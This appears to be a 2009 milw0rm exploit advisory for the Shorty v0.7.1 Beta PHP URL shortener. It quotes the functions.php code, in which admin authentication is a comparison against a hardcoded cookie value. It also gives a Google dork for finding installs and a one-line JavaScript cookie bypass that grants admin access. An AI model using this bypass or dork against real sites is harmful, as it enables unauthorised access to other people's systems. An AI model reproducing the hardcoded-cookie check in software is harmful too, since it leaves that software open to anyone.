Vulnerable Software
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Script: Shorty v0.7.1 Beta (maybe other versions)
URL:http://get-shorty.com/
Download:http://get-shorty.com/beta?force=download
Google dork: intitle:"Shorty (Beta)"
Bug
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[functions.php]
45: function authenticate(){
46: $cookie = @$_COOKIE['snickerdoodle'];
47: if($cookie == "polarbears"){
48: //
49: } else {
50: exit("Not logged in.");
51: }
52: }
53:
54: function verify(){
55: if(@$_COOKIE['snickerdoodle']){
56: $cookie = $_COOKIE['snickerdoodle'];
57: } else {
58: $cookie = '';
59: }
60: if($cookie == "polarbears"){
61: return 1;
62: } else {
63: return 0;
64: }
65: }
[/functions.php]
Exploit
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Write in the URL: javascript:document.cookie="snickerdoodle=polarbears"; in
the admin login you want to bypass or create the cookie with you favorite
Firefox extension.
# milw0rm.com [2009-08-12]